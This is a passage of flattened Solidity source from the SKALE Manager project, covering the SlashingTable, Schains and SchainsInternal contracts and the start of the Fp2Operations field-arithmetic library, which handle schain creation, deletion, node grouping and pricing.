* @dev This contract manages slashing conditions and penalties. */ contract SlashingTable is Permissions { mapping (uint => uint) private _penalties; /** * @dev Allows the Owner to set a slashing penalty in SKL tokens for a * given offense. */ function setPenalty(string calldata offense, uint penalty) external onlyOwner { _penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty; } /** * @dev Returns the penalty in SKL tokens for a given offense. */ function getPenalty(string calldata offense) external view returns (uint) { uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))]; return penalty; } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* Schains.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./ConstantsHolder.sol"; import "./KeyStorage.sol"; import "./SkaleVerifier.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./interfaces/ISkaleDKG.sol"; import "./Wallets.sol"; /** * @title Schains * @dev Contains functions to manage Schains such as Schain creation, * deletion, and rotation. */ contract Schains is Permissions { struct SchainParameters { uint lifetime; uint8 typeOfSchain; uint16 nonce; string name; } bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE"); /** * @dev Emitted when an schain is created. */ event SchainCreated( string name, address owner, uint partOfNode, uint lifetime, uint numberOfNodes, uint deposit, uint16 nonce, bytes32 schainId, uint time, uint gasSpend ); /** * @dev Emitted when an schain is deleted. */ event SchainDeleted( address owner, string name, bytes32 indexed schainId ); /** * @dev Emitted when a node in an schain is rotated. */ event NodeRotated( bytes32 schainId, uint oldNode, uint newNode ); /** * @dev Emitted when a node is added to an schain. */ event NodeAdded( bytes32 schainId, uint newNode ); /** * @dev Emitted when a group of nodes is created for an schain. */ event SchainNodes( string name, bytes32 schainId, uint[] nodesInGroup, uint time, uint gasSpend ); /** * @dev Allows SkaleManager contract to create an Schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type is valid. * - There is sufficient deposit to create type of schain. */ function addSchain(address from, uint deposit, bytes calldata data) external allow("SkaleManager") { SchainParameters memory schainParameters = _fallbackSchainParametersDataConverter(data); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp(); uint minSchainLifetime = constantsHolder.minimalSchainLifetime(); require(now >= schainCreationTimeStamp, "It is not a time for creating Schain"); require( schainParameters.lifetime >= minSchainLifetime, "Minimal schain lifetime should be satisfied" ); require( getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit, "Not enough money to create Schain"); _addSchain(from, deposit, schainParameters); } /** * @dev Allows the foundation to create an Schain without tokens. * * Emits an {SchainCreated} event. * * Requirements: * * - sender is granted with SCHAIN_CREATOR_ROLE * - Schain type is valid. */ function addSchainByFoundation( uint lifetime, uint8 typeOfSchain, uint16 nonce, string calldata name, address schainOwner ) external payable { require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain"); SchainParameters memory schainParameters = SchainParameters({ lifetime: lifetime, typeOfSchain: typeOfSchain, nonce: nonce, name: name }); address _schainOwner; if (schainOwner != address(0)) { _schainOwner = schainOwner; } else { _schainOwner = msg.sender; } _addSchain(_schainOwner, 0, schainParameters); bytes32 schainId = keccak256(abi.encodePacked(name)); Wallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainId); } /** * @dev Allows SkaleManager to remove an schain from the network. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Executed by schain owner. */ function deleteSchain(address from, string calldata name) external allow("SkaleManager") { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32 schainId = keccak256(abi.encodePacked(name)); require( schainsInternal.isOwnerAddress(from, schainId), "Message sender is not the owner of the Schain" ); _deleteSchain(name, schainsInternal); } /** * @dev Allows SkaleManager to delete any Schain. * Upon removal, the space availability of each node is updated. * * Emits an {SchainDeleted} event. * * Requirements: * * - Schain exists. */ function deleteSchainByRoot(string calldata name) external allow("SkaleManager") { _deleteSchain(name, SchainsInternal(contractManager.getContract("SchainsInternal"))); } /** * @dev Allows SkaleManager contract to restart schain creation by forming a * new schain group. Executed when DKG procedure fails and becomes stuck. * * Emits a {NodeAdded} event. * * Requirements: * * - Previous DKG procedure must have failed. * - DKG failure got stuck because there were no free nodes to rotate in. * - A free node must be released in the network. */ function restartSchainCreation(string calldata name) external allow("SkaleManager") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainId = keccak256(abi.encodePacked(name)); ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); require(!skaleDKG.isLastDKGSuccessful(schainId), "DKG success"); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal")); require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes for new group formation"); uint newNodeIndex = nodeRotation.selectNodeToGroup(schainId); skaleDKG.openChannel(schainId); emit NodeAdded(schainId, newNodeIndex); } /** * @dev addSpace - return occupied space to Node * nodeIndex - index of Node at common array of Nodes * partOfNode - divisor of given type of Schain */ function addSpace(uint nodeIndex, uint8 partOfNode) external allowTwo("Schains", "NodeRotation") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); nodes.addSpaceToNode(nodeIndex, partOfNode); } /** * @dev Checks whether schain group signature is valid. */ function verifySchainSignature( uint signatureA, uint signatureB, bytes32 hash, uint counter, uint hashA, uint hashB, string calldata schainName ) external view returns (bool) { SkaleVerifier skaleVerifier = SkaleVerifier(contractManager.getContract("SkaleVerifier")); G2Operations.G2Point memory publicKey = KeyStorage( contractManager.getContract("KeyStorage") ).getCommonPublicKey( keccak256(abi.encodePacked(schainName)) ); return skaleVerifier.verify( Fp2Operations.Fp2Point({ a: signatureA, b: signatureB }), hash, counter, hashA, hashB, publicKey ); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); } /** * @dev Returns the current price in SKL tokens for given Schain type and lifetime. */ function getSchainPrice(uint typeOfSchain, uint lifetime) public view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder()); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint nodeDeposit = constantsHolder.NODE_DEPOSIT(); uint numberOfNodes; uint8 divisor; (divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain); if (divisor == 0) { return 1e18; } else { uint up = nodeDeposit.mul(numberOfNodes.mul(lifetime.mul(2))); uint down = uint( uint(constantsHolder.SMALL_DIVISOR()) .mul(uint(constantsHolder.SECONDS_TO_YEAR())) .div(divisor) ); return up.div(down); } } /** * @dev Initializes an schain in the SchainsInternal contract. * * Requirements: * * - Schain name is not already in use. */ function _initializeSchainInSchainsInternal( string memory name, address from, uint deposit, uint lifetime, SchainsInternal schainsInternal ) private { require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available"); // initialize Schain schainsInternal.initializeSchain(name, from, lifetime, deposit); schainsInternal.setSchainIndex(keccak256(abi.encodePacked(name)), from); } /** * @dev Converts data from bytes to normal schain parameters of lifetime, * type, nonce, and name. */ function _fallbackSchainParametersDataConverter(bytes memory data) private pure returns (SchainParameters memory schainParameters) { (schainParameters.lifetime, schainParameters.typeOfSchain, schainParameters.nonce, schainParameters.name) = abi.decode(data, (uint, uint8, uint16, string)); } /** * @dev Allows creation of node group for Schain. * * Emits an {SchainNodes} event. */ function _createGroupForSchain( string memory schainName, bytes32 schainId, uint numberOfNodes, uint8 partOfNode, SchainsInternal schainsInternal ) private { uint[] memory nodesInGroup = schainsInternal.createGroupForSchain(schainId, numberOfNodes, partOfNode); ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainId); emit SchainNodes( schainName, schainId, nodesInGroup, block.timestamp, gasleft()); } /** * @dev Creates an schain. * * Emits an {SchainCreated} event. * * Requirements: * * - Schain type must be valid. */ function _addSchain(address from, uint deposit, SchainParameters memory schainParameters) private { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); //initialize Schain _initializeSchainInSchainsInternal( schainParameters.name, from, deposit, schainParameters.lifetime, schainsInternal ); // create a group for Schain uint numberOfNodes; uint8 partOfNode; (partOfNode, numberOfNodes) = schainsInternal.getSchainType(schainParameters.typeOfSchain); _createGroupForSchain( schainParameters.name, keccak256(abi.encodePacked(schainParameters.name)), numberOfNodes, partOfNode, schainsInternal ); emit SchainCreated( schainParameters.name, from, partOfNode, schainParameters.lifetime, numberOfNodes, deposit, schainParameters.nonce, keccak256(abi.encodePacked(schainParameters.name)), block.timestamp, gasleft()); } function _deleteSchain(string calldata name, SchainsInternal schainsInternal) private { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); bytes32 schainId = keccak256(abi.encodePacked(name)); require(schainsInternal.isSchainExist(schainId), "Schain does not exist"); uint[] memory nodesInGroup = schainsInternal.getNodesInGroup(schainId); uint8 partOfNode = schainsInternal.getSchainsPartOfNode(schainId); for (uint i = 0; i < nodesInGroup.length; i++) { uint schainIndex = schainsInternal.findSchainAtSchainsForNode( nodesInGroup[i], schainId ); if (schainsInternal.checkHoleForSchain(schainId, i)) { continue; } require( schainIndex < schainsInternal.getLengthOfSchainsForNode(nodesInGroup[i]), "Some Node does not contain given Schain"); schainsInternal.removeNodeFromSchain(nodesInGroup[i], schainId); schainsInternal.removeNodeFromExceptions(schainId, nodesInGroup[i]); this.addSpace(nodesInGroup[i], partOfNode); } schainsInternal.deleteGroup(schainId); address from = schainsInternal.getSchainOwner(schainId); schainsInternal.removeSchain(schainId, from); schainsInternal.removeHolesForSchain(schainId); nodeRotation.removeRotation(schainId); Wallets(payable(contractManager.getContract("Wallets"))).withdrawFundsFromSchainWallet(payable(from), schainId); emit SchainDeleted(from, name, schainId); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternal.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./interfaces/ISkaleDKG.sol"; import "./utils/Random.sol"; import "./ConstantsHolder.sol"; import "./Nodes.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol"; /** * @title SchainsInternal * @dev Contract contains all functionality logic to internally manage Schains. */ contract SchainsInternal is Permissions { using Random for Random.RandomGenerator; using EnumerableSet for EnumerableSet.UintSet; struct Schain { string name; address owner; uint indexInOwnerList; uint8 partOfNode; uint lifetime; uint startDate; uint startBlock; uint deposit; uint64 index; } struct SchainType { uint8 partOfNode; uint numberOfNodes; } // mapping which contain all schains mapping (bytes32 => Schain) public schains; mapping (bytes32 => bool) public isSchainActive; mapping (bytes32 => uint[]) public schainsGroups; mapping (bytes32 => mapping (uint => bool)) private _exceptionsForGroups; // mapping shows schains by owner's address mapping (address => bytes32[]) public schainIndexes; // mapping shows schains which Node composed in mapping (uint => bytes32[]) public schainsForNodes; mapping (uint => uint[]) public holesForNodes; mapping (bytes32 => uint[]) public holesForSchains; // array which contain all schains bytes32[] public schainsAtSystem; uint64 public numberOfSchains; // total resources that schains occupied uint public sumOfSchainsResources; mapping (bytes32 => bool) public usedSchainNames; mapping (uint => SchainType) public schainTypes; uint public numberOfSchainTypes; // schain hash => node index => index of place // index of place is a number from 1 to max number of slots on node(128) mapping (bytes32 => mapping (uint => uint)) public placeOfSchainOnNode; mapping (uint => bytes32[]) private _nodeToLockedSchains; mapping (bytes32 => uint[]) private _schainToExceptionNodes; EnumerableSet.UintSet private _keysOfSchainTypes; /** * @dev Allows Schain contract to initialize an schain. */ function initializeSchain( string calldata name, address from, uint lifetime, uint deposit) external allow("Schains") { bytes32 schainId = keccak256(abi.encodePacked(name)); schains[schainId].name = name; schains[schainId].owner = from; schains[schainId].startDate = block.timestamp; schains[schainId].startBlock = block.number; schains[schainId].lifetime = lifetime; schains[schainId].deposit = deposit; schains[schainId].index = numberOfSchains; isSchainActive[schainId] = true; numberOfSchains++; schainsAtSystem.push(schainId); usedSchainNames[schainId] = true; } /** * @dev Allows Schain contract to create a node group for an schain. */ function createGroupForSchain( bytes32 schainId, uint numberOfNodes, uint8 partOfNode ) external allow("Schains") returns (uint[] memory) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); schains[schainId].partOfNode = partOfNode; if (partOfNode > 0) { sumOfSchainsResources = sumOfSchainsResources.add( numberOfNodes.mul(constantsHolder.TOTAL_SPACE_ON_NODE()).div(partOfNode) ); } return _generateGroup(schainId, numberOfNodes); } /** * @dev Allows Schains contract to set index in owner list. */ function setSchainIndex(bytes32 schainId, address from) external allow("Schains") { schains[schainId].indexInOwnerList = schainIndexes[from].length; schainIndexes[from].push(schainId); } /** * @dev Allows Schains contract to change the Schain lifetime through * an additional SKL token deposit. */ function changeLifetime(bytes32 schainId, uint lifetime, uint deposit) external allow("Schains") { schains[schainId].deposit = schains[schainId].deposit.add(deposit); schains[schainId].lifetime = schains[schainId].lifetime.add(lifetime); } /** * @dev Allows Schains contract to remove an schain from the network. * Generally schains are not removed from the system; instead they are * simply allowed to expire. */ function removeSchain(bytes32 schainId, address from) external allow("Schains") { isSchainActive[schainId] = false; uint length = schainIndexes[from].length; uint index = schains[schainId].indexInOwnerList; if (index != length.sub(1)) { bytes32 lastSchainId = schainIndexes[from][length.sub(1)]; schains[lastSchainId].indexInOwnerList = index; schainIndexes[from][index] = lastSchainId; } schainIndexes[from].pop(); // TODO: // optimize for (uint i = 0; i + 1 < schainsAtSystem.length; i++) { if (schainsAtSystem[i] == schainId) { schainsAtSystem[i] = schainsAtSystem[schainsAtSystem.length.sub(1)]; break; } } schainsAtSystem.pop(); delete schains[schainId]; numberOfSchains--; } /** * @dev Allows Schains and SkaleDKG contracts to remove a node from an * schain for node rotation or DKG failure. */ function removeNodeFromSchain( uint nodeIndex, bytes32 schainHash ) external allowThree("NodeRotation", "SkaleDKG", "Schains") { uint indexOfNode = _findNode(schainHash, nodeIndex); uint indexOfLastNode = schainsGroups[schainHash].length.sub(1); if (indexOfNode == indexOfLastNode) { schainsGroups[schainHash].pop(); } else { delete schainsGroups[schainHash][indexOfNode]; if (holesForSchains[schainHash].length > 0 && holesForSchains[schainHash][0] > indexOfNode) { uint hole = holesForSchains[schainHash][0]; holesForSchains[schainHash][0] = indexOfNode; holesForSchains[schainHash].push(hole); } else { holesForSchains[schainHash].push(indexOfNode); } } uint schainIndexOnNode = findSchainAtSchainsForNode(nodeIndex, schainHash); removeSchainForNode(nodeIndex, schainIndexOnNode); delete placeOfSchainOnNode[schainHash][nodeIndex]; } /** * @dev Allows Schains contract to delete a group of schains */ function deleteGroup(bytes32 schainId) external allow("Schains") { // delete channel ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG")); delete schainsGroups[schainId]; skaleDKG.deleteChannel(schainId); } /** * @dev Allows Schain and NodeRotation contracts to set a Node like * exception for a given schain and nodeIndex. */ function setException(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { _setException(schainId, nodeIndex); } /** * @dev Allows Schains and NodeRotation contracts to add node to an schain * group. */ function setNodeInGroup(bytes32 schainId, uint nodeIndex) external allowTwo("Schains", "NodeRotation") { if (holesForSchains[schainId].length == 0) { schainsGroups[schainId].push(nodeIndex); } else { schainsGroups[schainId][holesForSchains[schainId][0]] = nodeIndex; uint min = uint(-1); uint index = 0; for (uint i = 1; i < holesForSchains[schainId].length; i++) { if (min > holesForSchains[schainId][i]) { min = holesForSchains[schainId][i]; index = i; } } if (min == uint(-1)) { delete holesForSchains[schainId]; } else { holesForSchains[schainId][0] = min; holesForSchains[schainId][index] = holesForSchains[schainId][holesForSchains[schainId].length - 1]; holesForSchains[schainId].pop(); } } } /** * @dev Allows Schains contract to remove holes for schains */ function removeHolesForSchain(bytes32 schainHash) external allow("Schains") { delete holesForSchains[schainHash]; } /** * @dev Allows Admin to add schain type */ function addSchainType(uint8 partOfNode, uint numberOfNodes) external onlyAdmin { require(_keysOfSchainTypes.add(numberOfSchainTypes + 1), "Schain type is already added"); schainTypes[numberOfSchainTypes + 1].partOfNode = partOfNode; schainTypes[numberOfSchainTypes + 1].numberOfNodes = numberOfNodes; numberOfSchainTypes++; } /** * @dev Allows Admin to remove schain type */ function removeSchainType(uint typeOfSchain) external onlyAdmin { require(_keysOfSchainTypes.remove(typeOfSchain), "Schain type is already removed"); delete schainTypes[typeOfSchain].partOfNode; delete schainTypes[typeOfSchain].numberOfNodes; } /** * @dev Allows Admin to set number of schain types */ function setNumberOfSchainTypes(uint newNumberOfSchainTypes) external onlyAdmin { numberOfSchainTypes = newNumberOfSchainTypes; } /** * @dev Allows Admin to move schain to placeOfSchainOnNode map */ function moveToPlaceOfSchainOnNode(bytes32 schainHash) external onlyAdmin { for (uint i = 0; i < schainsGroups[schainHash].length; i++) { uint nodeIndex = schainsGroups[schainHash][i]; for (uint j = 0; j < schainsForNodes[nodeIndex].length; j++) { if (schainsForNodes[nodeIndex][j] == schainHash) { placeOfSchainOnNode[schainHash][nodeIndex] = j + 1; } } } } function removeNodeFromAllExceptionSchains(uint nodeIndex) external allow("SkaleManager") { uint len = _nodeToLockedSchains[nodeIndex].length; if (len > 0) { for (uint i = len; i > 0; i--) { removeNodeFromExceptions(_nodeToLockedSchains[nodeIndex][i - 1], nodeIndex); } } } function makeSchainNodesInvisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) { nodes.makeNodeInvisible(_schainToExceptionNodes[schainId][i]); } } function makeSchainNodesVisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") { _makeSchainNodesVisible(schainId); } /** * @dev Returns all Schains in the network. */ function getSchains() external view returns (bytes32[] memory) { return schainsAtSystem; } /** * @dev Returns all occupied resources on one node for an Schain. */ function getSchainsPartOfNode(bytes32 schainId) external view returns (uint8) { return schains[schainId].partOfNode; } /** * @dev Returns number of schains by schain owner. */ function getSchainListSize(address from) external view returns (uint) { return schainIndexes[from].length; } /** * @dev Returns hashes of schain names by schain owner. */ function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) { return schainIndexes[from]; } /** * @dev Returns hashes of schain names running on a node. */ function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) { return schainsForNodes[nodeIndex]; } /** * @dev Returns the owner of an schain. */ function getSchainOwner(bytes32 schainId) external view returns (address) { return schains[schainId].owner; } /** * @dev Checks whether schain name is available. * TODO Need to delete - copy of web3.utils.soliditySha3 */ function isSchainNameAvailable(string calldata name) external view returns (bool) { bytes32 schainId = keccak256(abi.encodePacked(name)); return schains[schainId].owner == address(0) && !usedSchainNames[schainId] && keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet")); } /** * @dev Checks whether schain lifetime has expired. */ function isTimeExpired(bytes32 schainId) external view returns (bool) { return uint(schains[schainId].startDate).add(schains[schainId].lifetime) < block.timestamp; } /** * @dev Checks whether address is owner of schain. */ function isOwnerAddress(address from, bytes32 schainId) external view returns (bool) { return schains[schainId].owner == from; } /** * @dev Checks whether schain exists. */ function isSchainExist(bytes32 schainId) external view returns (bool) { return keccak256(abi.encodePacked(schains[schainId].name)) != keccak256(abi.encodePacked("")); } /** * @dev Returns schain name. */ function getSchainName(bytes32 schainId) external view returns (string memory) { return schains[schainId].name; } /** * @dev Returns last active schain of a node. */ function getActiveSchain(uint nodeIndex) external view returns (bytes32) { for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { return schainsForNodes[nodeIndex][i - 1]; } } return bytes32(0); } /** * @dev Returns active schains of a node. */ function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) { uint activeAmount = 0; for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) { if (schainsForNodes[nodeIndex][i] != bytes32(0)) { activeAmount++; } } uint cursor = 0; activeSchains = new bytes32[](activeAmount); for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) { if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) { activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1]; } } } /** * @dev Returns number of nodes in an schain group. */ function getNumberOfNodesInGroup(bytes32 schainId) external view returns (uint) { return schainsGroups[schainId].length; } /** * @dev Returns nodes in an schain group. */ function getNodesInGroup(bytes32 schainId) external view returns (uint[] memory) { return schainsGroups[schainId]; } /** * @dev Checks whether sender is a node address from a given schain group. */ function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < schainsGroups[schainId].length; i++) { if (nodes.getNodeAddress(schainsGroups[schainId][i]) == sender) { return true; } } return false; } /** * @dev Returns node index in schain group. */ function getNodeIndexInGroup(bytes32 schainId, uint nodeId) external view returns (uint) { for (uint index = 0; index < schainsGroups[schainId].length; index++) { if (schainsGroups[schainId][index] == nodeId) { return index; } } return schainsGroups[schainId].length; } /** * @dev Checks whether there are any nodes with free resources for given * schain. */ function isAnyFreeNode(bytes32 schainId) external view returns (bool) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainId].partOfNode; return nodes.countNodesWithFreeSpace(space) > 0; } /** * @dev Returns whether any exceptions exist for node in a schain group. */ function checkException(bytes32 schainId, uint nodeIndex) external view returns (bool) { return _exceptionsForGroups[schainId][nodeIndex]; } function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool) { for (uint i = 0; i < holesForSchains[schainHash].length; i++) { if (holesForSchains[schainHash][i] == indexOfNode) { return true; } } return false; } /** * @dev Returns number of Schains on a node. */ function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) { return schainsForNodes[nodeIndex].length; } function getSchainType(uint typeOfSchain) external view returns(uint8, uint) { require(_keysOfSchainTypes.contains(typeOfSchain), "Invalid type of schain"); return (schainTypes[typeOfSchain].partOfNode, schainTypes[typeOfSchain].numberOfNodes); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); numberOfSchains = 0; sumOfSchainsResources = 0; numberOfSchainTypes = 0; } /** * @dev Allows Schains and NodeRotation contracts to add schain to node. */ function addSchainForNode(uint nodeIndex, bytes32 schainId) public allowTwo("Schains", "NodeRotation") { if (holesForNodes[nodeIndex].length == 0) { schainsForNodes[nodeIndex].push(schainId); placeOfSchainOnNode[schainId][nodeIndex] = schainsForNodes[nodeIndex].length; } else { uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1]; schainsForNodes[nodeIndex][lastHoleOfNode] = schainId; placeOfSchainOnNode[schainId][nodeIndex] = lastHoleOfNode + 1; holesForNodes[nodeIndex].pop(); } } /** * @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an * schain from a node. */ function removeSchainForNode(uint nodeIndex, uint schainIndex) public allowThree("NodeRotation", "SkaleDKG", "Schains") { uint length = schainsForNodes[nodeIndex].length; if (schainIndex == length.sub(1)) { schainsForNodes[nodeIndex].pop(); } else { delete schainsForNodes[nodeIndex][schainIndex]; if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) { uint hole = holesForNodes[nodeIndex][0]; holesForNodes[nodeIndex][0] = schainIndex; holesForNodes[nodeIndex].push(hole); } else { holesForNodes[nodeIndex].push(schainIndex); } } } /** * @dev Allows Schains contract to remove node from exceptions */ function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex) public allowThree("Schains", "NodeRotation", "SkaleManager") { _exceptionsForGroups[schainHash][nodeIndex] = false; uint len = _nodeToLockedSchains[nodeIndex].length; bool removed = false; if (len > 0 && _nodeToLockedSchains[nodeIndex][len - 1] == schainHash) { _nodeToLockedSchains[nodeIndex].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_nodeToLockedSchains[nodeIndex][i - 1] == schainHash) { _nodeToLockedSchains[nodeIndex][i - 1] = _nodeToLockedSchains[nodeIndex][len - 1]; _nodeToLockedSchains[nodeIndex].pop(); removed = true; } } } len = _schainToExceptionNodes[schainHash].length; removed = false; if (len > 0 && _schainToExceptionNodes[schainHash][len - 1] == nodeIndex) { _schainToExceptionNodes[schainHash].pop(); removed = true; } else { for (uint i = len; i > 0 && !removed; i--) { if (_schainToExceptionNodes[schainHash][i - 1] == nodeIndex) { _schainToExceptionNodes[schainHash][i - 1] = _schainToExceptionNodes[schainHash][len - 1]; _schainToExceptionNodes[schainHash].pop(); removed = true; } } } } /** * @dev Returns index of Schain in list of schains for a given node. */ function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainId) public view returns (uint) { if (placeOfSchainOnNode[schainId][nodeIndex] == 0) return schainsForNodes[nodeIndex].length; return placeOfSchainOnNode[schainId][nodeIndex] - 1; } function _getNodeToLockedSchains() internal view returns (mapping(uint => bytes32[]) storage) { return _nodeToLockedSchains; } function _getSchainToExceptionNodes() internal view returns (mapping(bytes32 => uint[]) storage) { return _schainToExceptionNodes; } /** * @dev Generates schain group using a pseudo-random generator. */ function _generateGroup(bytes32 schainId, uint numberOfNodes) private returns (uint[] memory nodesInGroup) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint8 space = schains[schainId].partOfNode; nodesInGroup = new uint[](numberOfNodes); require(nodes.countNodesWithFreeSpace(space) >= nodesInGroup.length, "Not enough nodes to create Schain"); Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number.sub(1))), schainId) ); for (uint i = 0; i < numberOfNodes; i++) { uint node = nodes.getRandomNodeWithFreeSpace(space, randomGenerator); nodesInGroup[i] = node; _setException(schainId, node); addSchainForNode(node, schainId); nodes.makeNodeInvisible(node); require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node"); } // set generated group schainsGroups[schainId] = nodesInGroup; _makeSchainNodesVisible(schainId); } function _setException(bytes32 schainId, uint nodeIndex) private { _exceptionsForGroups[schainId][nodeIndex] = true; _nodeToLockedSchains[nodeIndex].push(schainId); _schainToExceptionNodes[schainId].push(nodeIndex); } function _makeSchainNodesVisible(bytes32 schainId) private { Nodes nodes = Nodes(contractManager.getContract("Nodes")); for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) { nodes.makeNodeVisible(_schainToExceptionNodes[schainId][i]); } } /** * @dev Returns local index of node in schain group. */ function _findNode(bytes32 schainId, uint nodeIndex) private view returns (uint) { uint[] memory nodesInGroup = schainsGroups[schainId]; uint index; for (index = 0; index < nodesInGroup.length; index++) { if (nodesInGroup[index] == nodeIndex) { return index; } } return index; } } // SPDX-License-Identifier: AGPL-3.0-only /* FieldOperations.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./Precompiled.sol"; library Fp2Operations { using SafeMath for uint; struct Fp2Point { uint a; uint b; } uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; function addFp2(Fp2Point memory value1, Fp2Point memory value2) internal pure returns (Fp2Point memory) { return Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) }); } function scalarMulFp2(Fp2Point memory value, uint scalar) internal pure returns (Fp2Point memory) { return Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) }); } function minusFp2(Fp2Point memory diminished, Fp2Point memory subtracted) internal pure returns (Fp2Point memory difference) { uint p = P; if (diminished.a >= subtracted.a) { difference.a = addmod(diminished.a, p - subtracted.a, p); } else { difference.a = (p - addmod(subtracted.a, p - diminished.a, p)).mod(p); } if (diminished.b >= subtracted.b) { difference.b = addmod(diminished.b, p - subtracted.b, p); } else { difference.b = (p - addmod(subtracted.b, p - diminished.b, p)).mod(p); } } function mulFp2( Fp2Point memory value1, Fp2Point memory value2 ) internal pure returns (Fp2Point memory result) { uint p = P; Fp2Point memory point = Fp2Point({ a: mulmod(value1.a, value2.a, p), b: mulmod(value1.b, value2.b, p)}); result.a = addmod( point.a, mulmod(p - 1, point.b, p), p); result.b = addmod( mulmod( addmod(value1.a, value1.b, p), addmod(value2.a, value2.b, p), p), p - addmod(point.a, point.b, p), p); } 